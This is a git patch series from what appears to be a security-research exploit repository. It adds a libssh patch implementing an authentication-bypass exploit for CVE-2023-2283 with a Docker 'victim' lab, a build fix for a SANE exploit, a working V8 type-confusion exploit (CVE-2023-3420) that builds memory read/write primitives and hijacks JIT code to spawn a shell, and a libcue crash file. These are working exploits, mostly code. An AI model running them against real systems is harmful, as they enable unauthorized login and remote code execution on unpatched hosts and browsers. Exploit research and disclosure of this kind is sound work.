#include "libssh/misc.h" + #include "libssh/pki.h" + #include "libssh/kex.h" ++#include "libssh/string.h" + + #define set_status(session, status) do {\ + if (session->common.callbacks && session->common.callbacks->connect_status_function) \ +@@ -834,6 +836,138 @@ error: + } + } + ++static int send_service_request(ssh_session session, ssh_string str, bool set_wontblock) { ++ ssh_buffer_pack(session->out_buffer, "bS", SSH2_MSG_SERVICE_REQUEST, str); ++ if (set_wontblock) { ++ ssh_socket_set_write_wontblock(session->socket); ++ } ++ if (ssh_packet_send(session) == SSH_ERROR) { ++ ssh_set_error(session, SSH_FATAL, ++ "Sending SSH2_MSG_UNIMPLEMENTED failed."); ++ printf("Sending SSH2_MSG_UNIMPLEMENTED failed.\n"); ++ return -1; ++ } ++ return 0; ++} ++ ++int ssh_bypass_auth(ssh_session session, const char *pubkey_filename, const int myid, const int nprocs) { ++ struct ssh_crypto_struct *crypto = ssh_packet_get_current_crypto(session, SSH_DIRECTION_BOTH); ++ size_t i, n; ++ int rc; ++ int result = -1; ++ ++ if (myid > 0) { ++ size_t sizes[5] = {0x40000 - 5, 0x40000 - 5, 0x40000 - 5, 0x4000 - 5, 0xf00 - 5}; ++ ssh_string str; ++ sleep(1); ++ assert(myid <= sizeof(sizes)/sizeof(sizes[0])); ++ const size_t slen = sizes[myid-1]; ++ printf("slen = %lx\n", slen); ++ str = ssh_string_new(slen); ++ // note: ssh_string has a length field, so you don't have to nul-terminate them. ++ memset(ssh_string_data(str), 'x', slen); ++ for (i = 0; i < 192; i++) { ++ if (send_service_request(session, str, i >= 0) < 0) { ++ return result; ++ } ++ } ++ ssh_string_free(str); ++ pause(); ++ } else { ++ const char *sig_type_c = NULL; ++ ssh_key pubkey = NULL; ++ ssh_string pubkey_s = NULL; ++ ++ ssh_pki_import_pubkey_file(pubkey_filename, &pubkey); ++ ssh_pki_export_pubkey_blob(pubkey, &pubkey_s); ++ ++ sig_type_c = ssh_key_get_signature_algorithm(session, pubkey->type); ++ printf("sig_type_c = %s\n", sig_type_c); ++ sleep(2); ++ for (i = 0; i < 100 && result < 0; i++) { ++ ssh_string username; ++ ssh_string service; ++ ssh_string algo; ++ ++ // 0x37 is the maximum string length that will fit in an 0x40-sized malloc chunk. ++ username = ssh_string_new(0x37 + i * 0x400); ++ memset(ssh_string_data(username), 0, ssh_string_len(username)); ++ if (ssh_string_fill(username, session->opts.username, strlen(session->opts.username)) < 0) { ++ printf("username is too long: %s\n", session->opts.username); ++ return result; ++ } ++ service = ssh_string_new(0x37 + i * 0x500); ++ memset(ssh_string_data(service), 0, ssh_string_len(service)); ++ ssh_string_fill(service, "ssh-connection", 15); ++ algo = ssh_string_new(1); ++ memset(ssh_string_data(algo), 'x', ssh_string_len(algo)); ++ printf("send userauth 0\n"); ++ ssh_buffer_pack(session->out_buffer, "bSSsbSS", ++ SSH2_MSG_USERAUTH_REQUEST, ++ username, ++ service, ++ "publickey", ++ 1, /* private key */ ++ algo, ++ pubkey_s /* public key */ ++ ); ++ ssh_string_free(username); ++ ssh_string_free(service); ++ ssh_string_free(algo); ++ ++ ssh_string fakesig = ssh_string_new(90 /*i == 0 ? 400 : 0x400 * i*/); ++ memset(ssh_string_data(fakesig), 'x', ssh_string_len(fakesig)); ++ ssh_string sigtype = ssh_string_from_char(sig_type_c); ++ size_t sigtypelen = ssh_string_len(sigtype) + sizeof(uint32_t); ++ ssh_string payload = ssh_string_new(ED25519_SIG_LEN); ++ memcpy(ssh_string_data(payload), "kevwozere", 10); ++ size_t payloadlen = ssh_string_len(payload) + sizeof(uint32_t); ++ assert(sigtypelen + payloadlen <= ssh_string_len(fakesig)); ++ memcpy(ssh_string_data(fakesig), sigtype, sigtypelen); ++ memcpy((char*)ssh_string_data(fakesig) + sigtypelen, payload, payloadlen); ++ ssh_string_free(sigtype); ++ ssh_string_free(payload); ++ ssh_buffer_pack(session->out_buffer, "S", fakesig); ++ ssh_string_free(fakesig); ++ session->auth.service_state = SSH_AUTH_SERVICE_SENT; ++ session->auth.current_method = SSH_AUTH_METHOD_PUBLICKEY; ++ session->auth.state = SSH_AUTH_STATE_PUBKEY_AUTH_SENT; ++ session->pending_call_state = SSH_PENDING_CALL_AUTH_PUBKEY; ++ ++ printf("out_buf size: %x\n", ssh_buffer_get_len(session->out_buffer)); ++ if (ssh_packet_send(session) == SSH_ERROR) { ++ ssh_set_error(session, SSH_FATAL, ++ "Sending SSH2_MSG_UNIMPLEMENTED failed."); ++ return result; ++ } ++ printf("send userauth 1\n"); ++ ++ // If the userauth message was unsuccessful then we don't get ++ // a reply from the server. So we send a short service request ++ // message, which will get a reply. Then we can tell from ++ // which type of reply we receive whether the userauth was ++ // successful. ++ { ++ ssh_string str = ssh_string_from_char("x"); ++ if (send_service_request(session, str, true) < 0) { ++ return result; ++ } ++ ssh_string_free(str); ++ } ++ ++ rc=ssh_handle_packets_termination(session,SSH_TIMEOUT_USER, ++ ssh_service_request_termination, session); ++ printf("rc = %d\n", rc); ++ if (session->auth.state == SSH_AUTH_STATE_SUCCESS) { ++ result = 0; ++ } ++ } ++ ssh_string_free(pubkey_s); ++ ssh_key_free(pubkey); ++ } ++ return result; ++} ++ + const char *ssh_copyright(void) + { + return SSH_STRINGIFY(LIBSSH_VERSION) " (c) 2003-2022 " +diff --git a/src/libssh.map b/src/libssh.map +index eeb625c5..f20d89b9 100644 +--- a/src/libssh.map ++++ b/src/libssh.map +@@ -188,6 +188,7 @@ LIBSSH_4_5_0 # Released + ssh_connector_set_out_channel; + ssh_connector_set_out_fd; + ssh_copyright; ++ ssh_bypass_auth; + ssh_dirname; + ssh_disconnect; + ssh_dump_knownhost; diff --git a/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/id_ed25519.pub b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/id_ed25519.pub new file mode 100644 index 0000000..1ecefa0 --- /dev/null +++ b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/id_ed25519.pub @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDG8eH3ZcBaTcwg/Gclb+ZYWZRQh9RvHQnQNY/lIa8mW victim@b1b586610139 diff --git a/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/id_rsa.pub b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/id_rsa.pub new file mode 100644 index 0000000..7efed1a --- /dev/null +++ b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/id_rsa.pub @@ -0,0 +1 @@ +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVIGdVtCjMEzzbewMED01wAqaBcU6HytjUJoZt9Cm3lS0C691ZPayL14aj5uC9H73JDAabl58IEy6k++Wb5ryp74pozZ/H3swAuJlBidbeAUjtQbM5cxBT9hO7XE9YdHTXLzmVSF2NzyTt2HSZJPpYKsh0k7O56kfk/DfrIU7qGcIoDTNgK8zErXN2CjQ0dqm/sDZP1rxfHOfvLvTKx3WA30ko9c+zrIEJZ9pHV/OALOxPHf4WDewsMH3g1nG52hei2NG6r8nLP4BSEKcTbrebI6/RKOfXaFROMN01g9SY6Y0XmG0vAsyyRw0+oJMKAaoYgtokfBbJUJRtZ3uFavcA1DGRYn1Kswbwg+ZWMYoPRTTJ/Hzl8DqViWUOdsu9kHm24orPJZEajAo6kvjEjUQj2CKMbUVbxYB54S+taSXDhbeYWx1hACN/L8FufLdtW2veeuUOKJ0MtOMRCu5uCvLI7Y2wI6xxGa3jHOap81jyNa1vuMYfkk1z3jk5Ol5rlKE= victim@b1b586610139 diff --git a/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/Dockerfile b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/Dockerfile new file mode 100644 index 0000000..97d50ea --- /dev/null +++ b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/Dockerfile @@ -0,0 +1,35 @@ +FROM ubuntu:22.04 + +ENV DEBIAN_FRONTEND=noninteractive + +RUN apt-get update && \ + apt-get install -y \ + sudo tmux emacs git gdb cmake build-essential net-tools psmisc \ + libssl-dev zlib1g-dev libkrb5-dev libkrb5-dbg \ + libc6-dbg + +ARG UID=1000 + +# Create a non-root user account to run libssh. +RUN adduser victim --disabled-password --uid $UID + +# Grant the 'victim' user sudo access. This is not used for the demo, +# but it is often handy for installing extra packages. +RUN adduser victim sudo +RUN echo "victim:x" | chpasswd +COPY home/ /home/victim/ +RUN chown -R victim:victim /home/victim + +# Switch over to the 'victim' user, since root access is no longer required +USER victim +WORKDIR /home/victim + +# Clone and build libssh v0.10.4 +RUN git clone https://git.libssh.org/projects/libssh.git && \ + cd libssh && \ + git checkout e8322817a9e5aaef0698d779ddd467a209a85d85 && \ + mkdir build && cd build && \ + cmake .. && \ + make -j $(nproc) + +USER victim diff --git a/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.bash_history b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.bash_history new file mode 100644 index 0000000..d291675 --- /dev/null +++ b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.bash_history @@ -0,0 +1,5 @@ +mkdir ~/testkeys +ssh-keygen -P "" -t ecdsa -f ~/testkeys/id_ecdsa +ssh-keygen -P "" -t rsa -f ~/testkeys/id_rsa +ulimit -v 262144 +~/libssh/build/examples/ssh_server_pthread -p 2022 -r ~/testkeys/id_rsa -e ~/testkeys/id_ecdsa -a ~/.ssh/authorized_keys 0.0.0.0 diff --git a/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.ssh/authorized_keys b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.ssh/authorized_keys new file mode 100644 index 0000000..1ecefa0 --- /dev/null +++ b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.ssh/authorized_keys @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDG8eH3ZcBaTcwg/Gclb+ZYWZRQh9RvHQnQNY/lIa8mW victim@b1b586610139 diff --git a/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.ssh/id_ed25519.pub b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.ssh/id_ed25519.pub new file mode 100644 index 0000000..1ecefa0 --- /dev/null +++ b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.ssh/id_ed25519.pub @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDG8eH3ZcBaTcwg/Gclb+ZYWZRQh9RvHQnQNY/lIa8mW victim@b1b586610139 diff --git a/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.ssh/id_rsa.pub b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.ssh/id_rsa.pub new file mode 100644 index 0000000..7efed1a --- /dev/null +++ b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.ssh/id_rsa.pub @@ -0,0 +1 @@ +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVIGdVtCjMEzzbewMED01wAqaBcU6HytjUJoZt9Cm3lS0C691ZPayL14aj5uC9H73JDAabl58IEy6k++Wb5ryp74pozZ/H3swAuJlBidbeAUjtQbM5cxBT9hO7XE9YdHTXLzmVSF2NzyTt2HSZJPpYKsh0k7O56kfk/DfrIU7qGcIoDTNgK8zErXN2CjQ0dqm/sDZP1rxfHOfvLvTKx3WA30ko9c+zrIEJZ9pHV/OALOxPHf4WDewsMH3g1nG52hei2NG6r8nLP4BSEKcTbrebI6/RKOfXaFROMN01g9SY6Y0XmG0vAsyyRw0+oJMKAaoYgtokfBbJUJRtZ3uFavcA1DGRYn1Kswbwg+ZWMYoPRTTJ/Hzl8DqViWUOdsu9kHm24orPJZEajAo6kvjEjUQj2CKMbUVbxYB54S+taSXDhbeYWx1hACN/L8FufLdtW2veeuUOKJ0MtOMRCu5uCvLI7Y2wI6xxGa3jHOap81jyNa1vuMYfkk1z3jk5Ol5rlKE= victim@b1b586610139 diff --git a/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.tmux.conf b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.tmux.conf new file mode 100644 index 0000000..f2da785 --- /dev/null +++ b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.tmux.conf @@ -0,0 +1,11 @@ +# Enable 256 colors +set -g default-terminal "screen-256color" + +# Enable using the mouse to switch windows. +set -g mouse on + +# Don't lose track of SSH_AGENT etc. from parent environment. +set -g update-environment -r + +# history buffer size +set-option -g history-limit 100000 From 9539ec35eac2e06b76438c163b783efbe896f66a Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Thu, 6 Jul 2023 16:13:59 +0100 Subject: [PATCH 102/140] Fix build error --- .../SANE/epsonds_CVE-2020-12861/sane_backends_exploit.cpp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/SecurityExploits/SANE/epsonds_CVE-2020-12861/sane_backends_exploit.cpp b/SecurityExploits/SANE/epsonds_CVE-2020-12861/sane_backends_exploit.cpp index 1a36262..e5fbbcb 100644 --- a/SecurityExploits/SANE/epsonds_CVE-2020-12861/sane_backends_exploit.cpp +++ b/SecurityExploits/SANE/epsonds_CVE-2020-12861/sane_backends_exploit.cpp @@ -3,6 +3,9 @@ #include #include #include "utils.hpp" +#include +#include +#include // This number is the buffer size that we use in the "large_mmap" stage. // The exact value doesn't matter too much: it just needs to be more than From 9134619dbcff802e575d7b7cd72e9867f47e3e2a Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Tue, 26 Sep 2023 09:10:39 +0100 Subject: [PATCH 103/140] Initial commit --- .../Chrome/v8/CVE_2023_3420/README.md | 36 +++++ .../Chrome/v8/CVE_2023_3420/poc.js | 135 ++++++++++++++++++ 2 files changed, 171 insertions(+) create mode 100644 SecurityExploits/Chrome/v8/CVE_2023_3420/README.md create mode 100644 SecurityExploits/Chrome/v8/CVE_2023_3420/poc.js diff --git a/SecurityExploits/Chrome/v8/CVE_2023_3420/README.md b/SecurityExploits/Chrome/v8/CVE_2023_3420/README.md new file mode 100644 index 0000000..0f6bfb7 --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE_2023_3420/README.md @@ -0,0 +1,36 @@ +## V8 type confusion CVE-2023-3420 + +The analysis of this bug can be found [here](https://github.blog/2023-09-26-getting-rce-in-chrome-with-incorrect-side-effect-in-the-jit-compiler). + +The exploit here is tested on `v8` version 11.4.183.19, which is the version shipped with Chrome 114.0.5735.106, the one before the bug is fixed, on Ubuntu 22.04. I have not tested it on Chrome itself. + +To test, check out `v8` at version 11.4.183.19 and compile with the default settings using `tools/dev/gm.py x64.release`. Then open the file `poc.js` with `d8`: + +``` +./d8 poc.js +``` + +On Ubuntu 22.04, it should call `execve("/bin/sh")` to spawn a new process: + +``` +./d8 exploit.js +If succeeded, it should pop a shell and give the following output: +func address: 19ba61 +jit code address: c56cd640 55ef +$ +``` + It should succeed often, but can fail due to the randomness involved in the layout of dictionary objects. A failure does not result a crash and can be detected in the script. In case of running on Chrome, when a failure is detected, the page can simply be reloaded to retry the exploit. + +In case of failure, it should print out the following: + +``` +func address: 7ff80000 +jit code address: 9999999a 40019999 +exploit failed, please retry +``` + +Due to the Maglev compiler being shipped with version 114 of Chrome, the exploit may need slight modifications to make sure that the optimized functions are compiled with TurboFan instead of Maglev, otherwise the bug may not trigger. + +Shell code may need changing on other platforms. + + diff --git a/SecurityExploits/Chrome/v8/CVE_2023_3420/poc.js b/SecurityExploits/Chrome/v8/CVE_2023_3420/poc.js new file mode 100644 index 0000000..a8367bc --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE_2023_3420/poc.js @@ -0,0 +1,135 @@ +let length = 10000; +var padding = 40; + +var arr = new Array(length); +arr.fill(0); +function func() { + return [1.9553825422107533e-246, 1.9560612558242147e-246, 1.9995714719542577e-246, 1.9533767332674093e-246, 2.6348604765229606e-284]; +} +for (let i = 0; i < 5000; i++) func(0); + +var view = new ArrayBuffer(24); +var dblArr = new Float64Array(view); +var intView = new Uint32Array(view); +var bigIntView = new BigInt64Array(view); + +function ftoi32(f) { + dblArr[0] = f; + return [intView[0], intView[1]]; +} + +function i32tof(i1, i2) { + intView[0] = i1; + intView[1] = i2; + return dblArr[0]; +} + +function itof(i) { + bigIntView = BigInt(i); + return dblArr[0]; +} + +function ftoi(f) { + dblArr[0] = f; + return bigIntView[0]; +} + +var corrupted_arr = [1.1]; +var oobDblArr = [2.2]; +var oobObjArr = [view]; +oobObjArr[0] = 1; + +var corrupted = {a : corrupted_arr}; +var obj0 = {px : {x : 1}}; +var str0 = 'aaa'; +var str1 = 'bbb'; +var str3 = 'ccc'; +var str4 = 'ddd'; + +function tc(x) { + var obj = x.p1.px; + obj.x = 100; + return x.p1.px.x; +} + +function foo2(obj, proto, x,y) { + obj.obj = proto; + var z = 0; + for (let i = 0; i < 1; i++) { + for (let j = 0; j < x; j++) { + for (let k = 0; k < x; k++) { + z = y[k]; + } + } + + } + proto.b = 33; + return z; +} + +class B {} +B.prototype.a = 1; +B.prototype.a = 2; +B.prototype.b = 1; + +function bar(x) { + return x instanceof B; +} +var args = {obj: B.prototype}; +foo2(args, B.prototype, 20, arr); +for (let i = 0; i < 5000; i++) { + foo2(args, B.prototype, 10, arr); +} +bar({a : 1}); +for (let i = 0; i < 5000; i++) { + bar({b : 1}); +} +foo2(args, B.prototype, length, arr); +var z = B.prototype; +var arr3 = new Array(padding); +arr3.fill(1); +var obj1 = {p0 : str0, p1 : obj0, p2 : 0}; +for (let i = 0; i < 20000; i++) { + tc(obj1); +} + +Object.defineProperty(z, 'aaa', {value : corrupted, writable : true}); + +tc(obj1); + +var oobOffset = 4; + +function addrof(obj) { + oobObjArr[0] = obj; + var addrDbl = corrupted_arr[13]; + return ftoi32(addrDbl)[1]; +} + +function read(addr) { + var old_value = corrupted_arr[oobOffset]; + corrupted_arr[oobOffset] = i32tof(addr,2); + var oldAddr = ftoi32(old_value); + var out = ftoi32(oobDblArr[0]); + corrupted_arr[oobOffset] = old_value; + return out; +} + +function write(addr, val1, val2) { + var old_value = corrupted_arr[oobOffset]; + corrupted_arr[oobOffset] = i32tof(addr,2); + oobDblArr[0] = i32tof(val1, val2); + corrupted_arr[oobOffset] = old_value; + return; +} + +var funcAddr = addrof(func); +console.log("func address: " + funcAddr.toString(16)); +var code = read(funcAddr + 0x10)[0]; + +var jitAddr = read(code + 0x8); +console.log("jit code address: " + jitAddr[0].toString(16), jitAddr[1].toString(16)); +if (funcAddr == 0x7ff80000) { + console.log("exploit failed, please retry"); +} +write(code + 0x8, jitAddr[0] + 0x54 + 2, jitAddr[1]); +func(); From 3cb0ebc37170149ef5e91a3bd641631c4eeedd06 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Mon, 9 Oct 2023 10:58:16 +0100 Subject: [PATCH 104/140] Files for disclosure of libcue CVE-2023-43641 --- .../CVE-2023-43641-poc-simple.cue | 6 ++++++ .../track_set_index_CVE-2023-43641/README.md | 5 +++++ .../search-bar-screenshot.png | Bin 0 -> 256270 bytes 3 files changed, 11 insertions(+) create mode 100644 SecurityExploits/libcue/track_set_index_CVE-2023-43641/CVE-2023-43641-poc-simple.cue create mode 100644 SecurityExploits/libcue/track_set_index_CVE-2023-43641/README.md create mode 100644 SecurityExploits/libcue/track_set_index_CVE-2023-43641/search-bar-screenshot.png diff --git a/SecurityExploits/libcue/track_set_index_CVE-2023-43641/CVE-2023-43641-poc-simple.cue b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/CVE-2023-43641-poc-simple.cue new file mode 100644 index 0000000..d9788d9 --- /dev/null +++ b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/CVE-2023-43641-poc-simple.cue @@ -0,0 +1,6 @@ +FILE pwned.mp3 MP3 +TRACK 000 AUDIO +MESSAGE "simple poc for CVE-2023-43641" +INDEX 4294567296 0 +INDEX 4290967296 0 +INDEX 4254967296 0 diff --git a/SecurityExploits/libcue/track_set_index_CVE-2023-43641/README.md b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/README.md new file mode 100644 index 0000000..89b16b6 --- /dev/null +++ b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/README.md @@ -0,0 +1,5 @@ +# CVE-2023-43641 + +This directory contains a simple PoC for libcue [CVE-2023-43641](https://github.com/lipnitsk/libcue/security/advisories/GHSA-5982-x7hv-r9cj). Downloading [CVE-2023-43641-poc-simple.cue](CVE-2023-43641-poc-simple.cue) should trigger the bug on most GNOME systems, because [tracker-miners](https://gitlab.gnome.org/GNOME/tracker-miners) automatically scans files in `~/Downloads`. If the filename has a `.cue` extension, then tracker-miners uses [libcue](https://github.com/lipnitsk/libcue) to scan the file. The PoC triggers an out-of-bounds array access, which causes the tracker-extract process to crash. + +We are delaying the release of the [full PoC](https://youtu.be/beOwspTnc1Y), which exploits the vulnerability to get code execution in tracker-extract. diff --git a/SecurityExploits/libcue/track_set_index_CVE-2023-43641/search-bar-screenshot.png b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/search-bar-screenshot.png new file mode 100644 index 0000000000000000000000000000000000000000..c4f1e3cf0debd39b5180329b126de37fe97d163b GIT binary patch literal 256270 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 